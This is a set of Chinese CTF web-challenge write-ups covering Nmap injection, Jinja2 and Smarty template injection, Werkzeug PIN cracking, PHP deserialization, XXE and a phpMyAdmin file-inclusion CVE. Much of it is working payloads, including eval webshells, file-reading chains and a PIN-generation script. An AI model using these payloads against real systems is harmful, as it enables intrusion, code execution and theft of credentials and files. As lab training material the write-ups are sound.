[网鼎杯 2020 朱雀组]Nmap
-iL 读取文件内容,以文件内容作为搜索目标 -o 输出到文件
查看源码提示flag在/flag里
127.0.0.1' -iL /flag -o haha 经过escapeshellarg函数后 '127.0.0.1''' -iL /flag -o haha'(将单引号转义并用一对单引号包裹起来,再将这个语句用单引号包裹起来确保只有一个参数) 经过escapeshellcmd函数后 '127.0.0.1''' -iL /flag -o haha' 对\转义,在许多编程语言中,反斜杠被用作转义字符,用来表示特殊字符或序列。这里面两个相邻的反斜杠\表示一个单独的反斜杠字符,没有转义作用。而末尾单引号转义过后的普通字符仍然是它本身,没有变化,会被视为普通字符不具有单引号的作用了 这样就分为了三部分'127.0.0.1'和''连接空白和-iL /flag -o haha'(最后这个单引号只有一个不起作用,但它将最后的文件名变为了haha') nmap既可扫描前面的ip,又能执行-iL /flag -o haha'
ip中输入,因为'127.0.0.1'\执行的时候会被简化为127.0.0.1\,这个ip就错了,但是不用管报错,只要后面命令执行了我们就能访问到 法二:
可以构造payload为:'<?php @eval($_POST["a"]);?> -oG b.php'
nmap 'ip' 闭合后成为nmap ''<?php eval($_POST["q"]);?> -oG b.php''
但是提示hack,所以有过滤,猜想应该是过滤了php,可以换后缀名为phtml,至于<?php ?>则可以替换为短标签
最终payload为:' <?=@eval($_POST["a"]);?> -oG b.phtml ' 或者 ' <? echo @eval($_POST["a"]);?> -oG b.phtml '
之后连接木马执行系统命令找到flag就行了http://46eba4f8-49d8-438b-bbda-cc15d6728b4c.node4.buuoj.cn:81/b.phtml
<?=$a?> <?=(表达式)?> 就相当于 <?php echo $a?> <?php echo (表达式)?>
[WesternCTF2018]shrine
代码审计
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
app = flask.Flask(__name__)
- 创建一个 Flask 应用实例。
app.config['FLAG'] = os.environ.pop('FLAG')
- 从环境变量中获取
FLAG的值,并将其存储在应用的配置中。 os.environ.pop('FLAG')会从环境变量中移除并返回FLAG的值。
@app.route('/')
def index():
return open(__file__).read()
- 定义根路由
/,当用户访问根 URL 时,返回当前脚本文件的源代码。
@app.route('/shrine/<shrine>')
def shrine(shrine):
- 定义动态路由
/shrine/<shrine>,其中<shrine>是一个动态参数,表示用户输入的部分(!!!注意这里)。
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
- 定义一个内部函数
safe_jinja,用于对用户输入的字符串进行简单的“清理”。 - 移除字符串中的括号
(和)。 - 使用黑名单机制,尝试将
config和self等敏感词设置为None,以防止某些 Jinja2 模板注入攻击。
return flask.render_template_string(safe_jinja(shrine))
- 使用 Flask 的
render_template_string方法渲染经过safe_jinja处理的用户输入字符串。 - 这里存在严重的安全隐患,因为用户输入的字符串仍然可能包含恶意的 Jinja2 模板代码。
if __name__ == '__main__':
app.run(debug=True)
- 如果脚本作为主程序运行,启动 Flask 开发服务器,并开启调试模式。
如果没有黑名单的时候,我们可以使用config,传入 config,或者使用self,传入 {{self.__dict__}}
当config,self,()都被过滤的时候,为了获取讯息,我们需要读取一些例如current_app这样的全局变量
python的沙箱逃逸这里的方法是利用python对象之间的引用关系来调用被禁用的函数对象。
这里有两个函数包含了current_app全局变量,url_for和get_flashed_messages
url_for这个可以用来构造url,接受函数名作为第一个参数
get_flashed_message()是通过flash()传入闪现信息列表的,能够把字符串对象表示的信息加入到一个消息列表,然后通过调用get_flashed_message()来取出
我们注入{url_for.__globals__}得到 构造payload
/shrine/{{url_for.__globals__}}
current_app`是当前使用的`app`,继续注入当前`app`的`config
{url_for.__globals__['current_app'].config}
成功找到flag
get_flashed_message()也是同理 payload:
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
[ASIS 2019]Unicorn shop
进去,买最贵的提示只允许输入一个字符
买前三个只是提示错误的商品,猜测大概率flag就在第四个里
看源码提示说编码非常重要 我们需要找到一个字符比1337大的数字,也就是utf-8编码的转换安全问题
在这个网站搜索大于 thousand 的单个字符,就可以购买第四只独角兽了: www.compart.com/en/unicode/
可以看到它代表的数值是10000
它的utf-8编码是0xE1 0x8D 0xBC
我们将0x换成%,得到%E1%8D%BC,输入就可以购买flag了
也可以直接复制进去
其实输入万也可以,不知道为什么
[GYCTF2020]FlaskApp
寻找易发生ssti的功能。 考虑到功能异常抛出常见于解密环节,所以在解密界面随便输入一段不能解密的
直接报错抛出debug信息,看来是开启了debug模式。
payload的使用需要输入到加密界面,再将加密结果输入到解密界面查看结果
首先想办法把完整的app.py读出来。 参考Templates Injections的payload 方便阅读把它换行了
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}
{%endif%}{%endfor%}
修改成
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}{% endfor %}
最后合并成一行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
得到app.py的源码,审一下发现waf:
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
过滤了flag和os等函数和关键词。然后利用字符串拼接读找目录:
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
e3snJy5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fWydfX2J1aWx0aW5zX18nXVsnX19pbXAnKydvcnRfXyddKCdvJysncycpLmxpc3RkaXIoJy8nKX19
['bin', 'boot', 'dev', 'etc',
'home', 'lib', 'lib64', 'media',
'mnt', 'opt', 'proc', 'root',
'run', 'sbin', 'srv', 'sys',
'tmp', 'usr', 'var', '
this_is_the_flag.txt', '.dockerenv', 'app']
再读一下flag:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbigndHh0LmdhbGZfZWh0X3NpX3NpaHQvJ1s6Oi0xXSwncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9
flag{d6cc3d62-b7b7-4f67-9a7c-8f6c1d0a24d0}
方法2-利用PIN码进行RCE#
在hint页面发现了pin
通过PIN码生成机制可知,需要获取如下信息:
- 服务器运行flask所登录的用户名。通过
/etc/passwd中可以猜测为flaskweb或者root,此处用的flaskweb - modname。一般不变就是flask.app
- getattr(app, “name”, app.class.name)。python该值一般为Flask,该值一般不变
- flask库下app.py的绝对路径。
报错信息会泄露该值。题中为/usr/local/lib/python3.7/site-packages/flask/app.py - 当前网络的mac地址的十进制数。通过文件
/sys/class/net/eth0/address获取(eth0为网卡名),本题为1e:eb:d7:36:97:1e,转换后为756572715513436 - 机器的id:对于非docker机每一个机器都会有自已唯一的
id - Linux:/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件 docker:/proc/self/cgroup
首先,服务器运行flask所登录的用户名:
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}
或
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
得到
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
flaskweb:x:1000:1000::/home/flaskweb:/bin/sh
应该是flaskweb
其次,获得mac地址:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}
得到72:43:c6:42:00:c7转十进制,得到125635414589639
接着,获取机器id:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}
得到
12:pids:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
11:devices:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
10:cpuset:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
9:perf_event:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
8:rdma:/
7:blkio:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
6:net_cls,net_prio:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
5:memory:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
4:freezer:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
3:cpu,cpuacct:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
2:hugetlb:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
1:name=systemd:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
0::/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
也就是cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7 计算pin代码如下:
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',#服务器运行flask所登录的用户名
'flask.app',#modname
'Flask',#getattr(app, "__name__", app.__class__.__name__)
'/usr/local/lib/python3.7/site-packages/flask/app.py',#flask库下app.py的绝对路径
]
private_bits = [
'756572715513436',#当前网络的mac地址的十进制数
'cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7'#机器的id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
得到298-674-256
输入pin即可进入交互式shell,执行命令即可得到flag:
os.popen("cat /this_is_the_flag.txt").read()
[CISCN 2019 初赛]Love Math
代码审计 能看出来是个构造rce的题,分析过滤后得出可以使用的:白名单中的数学函数,.,^等,同时长度限制在80个字符以内
先去传入一个参数,看一下是否能进行命令执行
payload:/?c=19-1
然后这里黑名单过滤了不少东西,常规的cat/flag都不能使用了,这里有个知识点是php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数比如下面的代码会执行 system(‘cat/flag’);
a('cat/flag'); 这里使用的传参是
?c=(* GET[b])&a=system&b=cat /flag 但是这里的_GET和a,b都不是白名单里面的,这里需要替换
替换之后
?c=(* GET[abs])&pi=system&abs=cat /flag 但是这里的_GET是无法进行直接替换,而且[]也被黑名单过滤了
这里就需要去了解一下他给的白名单里面的函数了
这里说一下需要用到的几个函数
这里先将_GET来进行转换的函数
hex2bin() 函数 hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
hex2bin(5f 47 45 54) 就是 _GET,但是hex2bin()函数也不是白名单里面的,而且这里的5f 47 45 54也不能直接填入,这里会被
preg_match_all('/a-zA-Z_\x7f-\xff*/', used_funcs); 来进行白名单的检测。
这里的hex2bin()函数可以通过base_convert()函数来进行转换
base_convert()函数能够在任意进制之间转换数字
这里的hex2bin可以看做是36进制,用base_convert来转换将在10进制的数字转换为16进制就可以出现hex2bin
hex2bin=base_convert(37907361743,10,36)
然后里面的5f 47 45 54要用dechex()函数将10进制数转换为16进制的数
dechex(1598506324),1598506324转换为16进制就是5f 47 45 54最终的payload:
/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
80个字符比较少,想办法构造$_GET[1]再传参getflag,但是其实发现构造这个好像更难。。。因为$、_、[、]都不能用,同时GET必须是大写,很难直接构造。 一种payload是这样 $ pi=base_convert(37907361743,10,36)(dechex(1598506324));( pi){abs})&pi=system&abs=tac /flag 分析:
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]
另一种payload是这样 $pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1}) 分析:
base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})
//操作xx和yy,中间用逗号隔开,echo都能输出
echo xx,yy
既然不能$_GET,那就header传
思路二
直接想办法catflag也是可以的
//exec('hex2bin(dechex(109270211257898))') => exec('cat f*')
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
//system('cat'.dechex(16)^asinh^pi) => system('cat *')
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
思路三
前面都是利用白名单的数学函数将数字转成字符串,其实也可以 这是fuzz脚本
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}
最后的payload:
?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag
[强网杯 2019]高明的黑客
我们应该找存在形如
$_GET['ganVMUq3d'] = ' ';
eval($_GET['ganVMUq3d'] ?? ' ');
$_GET['jVMcNhK_F'] = ' ';
system($_GET['jVMcNhK_F'] ?? ' ');
$_GET['cXjHClMPs'] = ' ';
echo `{$_POST['cXjHClMPs']}`;
的结构,传入payload找flag。
步骤大致是字符匹配$_GET[、$_POST[,尝试往匹配到的参数名传递echo,看看哪些参数可以接收到参数并打印出来。
import os
import re
import time
import threading
import requests
from tqdm import tqdm
thread_ = threading.Semaphore(30) # 设置最大线程数 ,别设置太大,不然还是会崩的
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
buu_url = "http://35a34fe5-7916-4ebf-a7ff-bfd82fe9bd4a.node4.buuoj.cn:81"
filePath = r"D:\Downloads\src"
os.chdir(filePath)
files = os.listdir(filePath) # 设置目标服务器的URL。
#切换工作目录到指定路径,并获取该目录下的所有文件列表。
flags = []
rrGET = re.compile(r"$_GET['(\w+)']") # 匹配get参数
rrPOST = re.compile(r"$_POST['(\w+)']") # 匹配post参数
def getflag(file):
print("[+]checking file:%s" % (file))
thread_.acquire()
url = buu_url + "/" + file
with open(file, encoding='utf-8') as f:
gets = list(rrGET.findall(f.read()))
posts = list(rrPOST.findall(f.read()))
for g in gets:
print("[++]checking %s" % (g))
time.sleep(0.02)
res = session.get(url + "?%s=%s" % (g, "echo ------"))
if "------" in res.text:
flag = "fileName=%s, param=%s" % (file, g)
flags.append(flag)
for p in posts:
print("[++]checking %s" % (p))
res = session.post(url, data={p:"echo ------"})
if "------" in res.text:
flag = "fileName=%s, param=%s" % (file, g)
flags.append(flag)
thread_.release()
获取文件中的GET和POST参数。
对每个参数,构造请求并发送,检查响应中是否包含特定标识"------"。
如果找到匹配项,记录文件名和参数名到flags列表。
if __name__ == '__main__':
start_time = time.time()
thread_list = []
for file in tqdm(files):
t = threading.Thread(target=getflag, args=(file,))
thread_list.append(t)
for t in thread_list:
t.start()
for t in thread_list:
t.join()
print(flags)
end_time = time.time()
print("[end]程序结束:用时(秒):"+str(end_time-start_time))
初始化线程列表。
使用for循环遍历文件列表,为每个文件创建线程。
启动所有线程,并等待所有线程完成。
打印收集到的flags以及程序运行时间
[网鼎杯 2020 朱雀组]phpweb
网站一直刷新 ,看源码发现有两个隐藏属性
抓个包看看有两个参数
对两个参数与返回值进行分析,我们使用dat时一般是这种格式:date("Y-m-d+h:i:s+a"),那我们可以猜测func参数接受的是一个函数,p参数接受的是函数执行的内容,我们可以输入参数md5和1进行测试,结果如下:
说明猜测是对的
那我们就尝试读取下当前的目录信息,payload:func=system&p=ls,显示hacking,应该是被过滤掉了,因此我们考虑读取下源码信息,payload:func=file_get_contents&p=php://filter/read=convert.base64-encode/resource=index.php,对获得的字母串进行base64解码,结果如下:
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
</p>
<form id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>
__destruct()函数,此函数会在类被销毁时调用,那我们如果反序列化一个类,在类里的参数中写上我们要执行的代码和函数,这样的话就会直接调用gettime函数,而不会执行in_array(disable_fun),那我们就绕过了黑名单的判断,payload:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";} ,结果如下:
序列化代码:
<?php
class Test {
var $p = "ls";
var $func = "system";
}
$test = new Test();
$str = serialize($test);
print($str);
?>
成功绕过黑名单获取到当前的目录信息,那我们就修改下传递的参数,查找下flag的位置信息,payload:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find+/+-name+flag*";s:4:"func";s:6:"system";} ,结果如下
获得flag文件位置信息后,修改传递的参数读取下flag值,payload:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat+/tmp/flagoefiu4r93";s:4:"func";s:6:"system";} ,结果如下:
另外一种绕过黑名单的方式,第三步中的读取目录信息,可以修改payload:func=\system&p=ls,也可以获得目录信息,结果如下;
然后后面的就是查找flag文件的位置、读取flag信息,结果如下:
\system可以绕过黑名单的原因:php内的" \ "在做代码执行的时候,会识别特殊字符串
[BSidesCF 2019]Futurella
f12直接得到flag
将整个网页内容复制到记事本也能看见
[NCTF2019]Fake XML cookbook
f12发现这个
分析后
通过使用jQuery选择器,代码获取了输入框中的用户名和密码。
var data = "" + username + "" + password + ""; 2.这里使用输入的用户名和密码构造了一个简单的 XML 数据字符串。
$.ajax({ type: "POST", url: "doLogin.php", contentType: "application/xml;charset=utf-8", data: data, dataType: "xml", anysc: false, success: function (result) { // 处理登录结果 }, error: function (XMLHttpRequest, textStatus, errorThrown) { // 处理请求错误 } }); 3.通过 jQuery 的 AJAX 函数,向服务器端发送一个 POST 请求,将构造的 XML 数据发送到名为 "doLogin.php" 的服务端脚本。
success: function (result) { var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue; var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue; if(code == "0"){ (".msg").text(msg + " login fail!"); } else if(code == "1"){(".msg").text(msg + " login success!"); } else { $(".msg").text("error:" + msg); } } 4.在成功回调函数中,根据返回的 XML 数据解析出登录结果的代码和消息,然后根据不同的结果更新页面上的提示信息
突然有个想法,上面是判断返回的code是0或1判断成功与否,说明一定会回显,如果拦截回显改了code是不是也能成功登录
抓包,试试,然后拦截
然后forward,等回显改code
放包,成功了,但是没有用 根据题目猜测是xxe
构造payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123</password></user>
[BJDCTF2020]Mark loves cat
[BSidesCF 2019]Kookie
收集下信息(扫目录+检查HTTP报文+查看初始页面HTML代码)。
没有找到有用的信息,但是页面上明示了当前存在一个cookie账户其密码为monster。并且要求我们以admin的身份登录(盲猜登录后就会给flag或者进入下一个阶段的解题)。
登录并抓包,可以观察到设置了一个Cookie,内容为username=cookie的键值对
显然这里Cookie中的键值对的值作为了服务端在用户通过账户密码登录之后再次访问时验证身份的凭证,将其值改为admin也就标志我们成为了admin用户,接着再携带修改后的Cookie访问页面就能获得flag。
[WUSTCTF2020]朴实无华
[CISCN2019 华东南赛区]Web11
打开题目观察网页发现是用的smarty模板,同时我们的IP显示在了右上角
API Usage处直接在url处修改 发现回显在API URI中但是通过尝试发现没啥用
页面提示,应该是一个类似IP查询的网站,根据XFF(X-Forwarded-For)判断 使用BurpSuite抓取数据包:
添加请求头:X-Forwarded-For: 127.0.0.1,在Repeater中发送数据包,得到回显:
跟猜想的内容一致,很可能在此处存在注入
访问/index.php页面,能正常回显,判断其后端语言为PHP,而且其脚注中:
其为PHP模版引擎,基本语法:
{name}变量 {name[2]}数组 {* 注释 *}注释 {if}{/if} 获取配置变量:{smarty.config} 返回当前目录名称:{smarty.current_dir} 测试模版语法能否执行:
X-Forwarded-For: {7*7}
成功执行,然后最主要的是嵌入php脚本 能否在模板中直接嵌入php脚本,取决于$php_handling的设置,基本语法:
{php} include("/path/to/display_weather.php"); {/php} 但在测试时频频报错,后来查阅资料,全部的PHP条件表达式和函数都可在{if}中使用 首先查看phpinfo信息,使用BurpSuite抓取数据包,添加请求头信息:
X-Forwarded-For: {if phpinfo()}{/if}
查找flag所在位置:
{if system('ls /')}{/if}
cat查看
[MRCTF2020]PYWebsite
叫我分析源码
发现一个验证后会进入flag.php
zhijie
直接进入flag提示要购买者和自己才可以拿flag 我们使用X-Forwarded-For: 127.0.0.1 试试
[GWCTF 2019]我有一个数据库
f12什么都没有,信息收集扫一下目录 有robots.txt
dirsearch还扫描到存在phpmyadmin数据库管理页面,尝试访问
4.8.0 <= phpMyAdmin < 4.8.2 的 phpMyAdmin 4.8.x 中版本存在任意文件读取漏洞:phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
漏洞来自 phpMyAdmin 中重定向和加载页面的部分代码,以及对白名单页面的不当测试。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
攻击者必须经过身份验证,以下情况除外: cfg['ServerDefault'] = 0:这绕过登录并在没有任何身份验证的情况下运行易受攻击的代码 paylaod: /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
ctf flag一般都在根目录
[NPUCTF2020]ReadlezPHP
发现无法使用鼠标右键打开源代码,所以可以手动添加view-source: 来显示页面源代码。 往下拉可以看到可疑的源代码,访问这个链接
发现一个可以文件
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]); 对传入的data反序列化
依旧是代码审计,明显反序列化的题 试一下system ls
构造payload data=O:8:"HelloPhp":2:{s:1:"a";s:2:"ls";s:1:"b";s:6:"system";} 没执行应该是被过滤了
过滤了system,exec,shell_exec函数,但是没过滤assert
assert是php之中的断言,如果传入的是字符串则会把它作为php代码执行,但为什么不直接用eval呢,是因为不能以变量函数的形式调用eval eval()里的引号必须是双引号,因为单引号不能解析字符串里的变量$str,且必须以分号结尾,函数调用除外
eval 属于PHP语法构造的一部分,并不是一个函数,所以不能通过 变量函数 的形式来调用(虽然她确实像极了函数原型)。这样的语法构造还包括:echo,print,unset(),isset(),empty(),include,require
传一句话木马
蚁剑连过去什么都没有啊,估计是权限不够,如果是这种情况只能猜测flag会显示在phpinfo
O:8:"HelloPhp":2:{s:1:"a";s:16:"eval(phpinfo());";s:1:"b";s:6:"assert";}
或者用call_user_func(phpinfo)
call_user_func把第一个参数当作回调函数使用。 回调函数:把一个函数当作作为外层函数的参数,相当于把函数嵌入到外层函数中
[WUSTCTF2020]颜值成绩查询
[Zer0pts2020]Can you guess it?
进去source看到源码
正则表达式分解
/:正则表达式的开始和结束分隔符。config.php:匹配文件名config.php。这里的反斜杠 `` 用于转义点号.,因为点号在正则表达式中是一个特殊字符,表示任意单个字符。通过转义,我们确保它匹配字面意义上的点号。/*:匹配零个或多个斜杠/。这意味着文件名可以是config.php后跟任意数量的斜杠,比如config.php/或config.php//等。$:断言字符串的末尾。这确保了匹配必须在字符串的末尾结束,防止像config.phpXYZ这样的字符串被错误匹配。/i:正则表达式的修饰符,表示匹配是不区分大小写的。这意味着即使请求的是CONFIG.PHP或其他大小写变体,也能被匹配
注释指明flag在config.php中,但是如果按照绕过hash_equals的思路来是行不通的,该函数并没有漏洞也没有使用错误
但是可以留意到显示源码的逻辑部分故作玄虚没有使用简洁的__FILE__而是采用basename函数截取$_SERVER['PHP_SELF'],本题的利用点也就在此处
